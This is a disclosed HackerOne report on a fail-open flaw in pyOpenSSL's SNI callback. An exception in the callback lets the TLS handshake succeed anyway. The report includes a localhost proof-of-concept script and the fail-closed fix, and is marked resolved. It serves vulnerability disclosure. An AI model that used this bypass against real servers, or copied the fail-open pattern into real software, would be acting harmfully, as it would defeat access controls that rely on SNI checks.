Fail-Open in set_tlsext_servername_callback on pyopenssl via unhandled exceptions leads to security bypass

Disclosed: 2026-03-20 16:10:03 By uv3doble To pyca
Low
Vulnerability Details
# Fail-Open Vulnerability in `set_tlsext_servername_callback` allows Security Bypass via Unhandled Exceptions ## Summary The `pyopenssl` library exhibits a **Fail-Open** vulnerability in its handling of the Server Name Indication (SNI) callback (`set_tlsext_servername_callback`). The internal wrapper for this callback catches all Python exceptions raised by user code but returns `0` (Success/`SSL_TLSEXT_ERR_OK`) to the underlying OpenSSL engine. This behavior allows a TLS connection to be successfully established even when the security validation logic inside the callback crashes or raises an exception, potentially bypassing critical access controls or authentication mechanisms implemented at the SNI layer. ## Vulnerability Description In `src/OpenSSL/SSL.py`, the `set_tlsext_servername_callback` method wraps the user-provided function with a decorator that does not explicitly handle exceptions to signal failure: ```python # OpenSSL/SSL.py @wraps(callback) def wrapper(ssl, alert, arg): callback(Connection._reverse_mapping[ssl]) return 0 # Always returns Success (0) ``` When `callback(...)` raises an exception, the CFFI layer catches it, prints the traceback to stderr, and returns the default value for the declared return type (`int`), which is `0`. In the context of the OpenSSL `SSL_CTX_set_tlsext_servername_callback`, a return value of `0` corresponds to `SSL_TLSEXT_ERR_OK`. Consequently, OpenSSL proceeds with the handshake as if the validation succeeded. **Correct Secure Behavior (Fail-Closed):** If the callback raises an unhandled exception, the wrapper should catch it and return `SSL_TLSEXT_ERR_ALERT_FATAL` (or similar) to abort the handshake, ensuring a secure failure state. ## Steps to Reproduce 1. Install `pyopenssl`. 2. Run the following Python script (`poc.py`). 3. Observe that the client successfully connects and receives data ("VULNERABILITY CONFIRMED") despite the server's validation callback raising a `ValueError`. ### Proof of Concept (PoC) ```python import socket import threading import time from OpenSSL import SSL, crypto import os def generate_cert(): k = crypto.PKey() k.generate_key(crypto.TYPE_RSA, 2048) cert = crypto.X509() cert.get_subject().CN = 'VulnerableServer' cert.set_serial_number(1000) cert.gmtime_adj_notBefore(0) cert.gmtime_adj_notAfter(10*365*24*60*60) cert.set_issuer(cert.get_subject()) cert.set_pubkey(k) cert.sign(k, 'sha256') return cert, k cert, key = generate_cert() def crashing_callback(connection): # Simulates a security check that crashes (e.g., DB error, logic bug) print("\n[SERVER] Callback executing... Raising Exception!") raise ValueError("Critical Security Check Failed!") # The code never reaches a point to explicitly reject the connection. def start_server(): context = SSL.Context(SSL.TLS_SERVER_METHOD) context.use_privatekey(key) context.use_certificate(cert) context.set_tlsext_servername_callback(crashing_callback) server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) # Using port 4433 to avoid conflicts try: server.bind(('localhost', 4433)) except Exception as e: print(f"[SERVER] Bind failed (port busy?): {e}") return server.listen(1) try: conn, addr = server.accept() ssl_conn = SSL.Connection(context, conn) ssl_conn.set_accept_state() try: ssl_conn.do_handshake() # If we reach here, the vulnerability is triggered ssl_conn.sendall(b"VULNERABILITY CONFIRMED: Connection Accepted") ssl_conn.shutdown() except Exception as e: print(f"[SERVER] Handshake Failed (Safe): {e}") finally: ssl_conn.close() conn.close() finally: server.close() def start_client(): time.sleep(1) context = SSL.Context(SSL.TLS_CLIENT_METHOD) context.set_verify(SSL.VERIFY_NONE, lambda *args: True) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: sock.connect(('localhost', 4433)) ssl_conn = SSL.Connection(context, sock) ssl_conn.set_connect_state() ssl_conn.set_tlsext_host_name(b"test.local") try: ssl_conn.do_handshake() data = ssl_conn.recv(1024) print(f"\n[CLIENT] Received: {data.decode()}") except Exception as e: print(f"\n[CLIENT] Handshake Failed: {e}") finally: sock.close() if __name__ == '__main__': t = threading.Thread(target=start_server) t.start() start_client() t.join() ``` ## Impact This issue allows attackers to bypass security controls implemented via SNI callbacks. If a developer relies on `set_tlsext_servername_callback` to enforce access policies (e.g., "Allow connection only if SNI matches X"), an attacker who can trigger an exception in that logic (e.g., via malformed input or resource exhaustion) will successfully establish a TLS connection, bypassing the intended restriction. This violates the "Fail-Secure" design principle required for security-critical libraries.
Actions
View on HackerOne
Report Stats
  • Report ID: 3558277
  • State: Closed
  • Substate: resolved
Share this report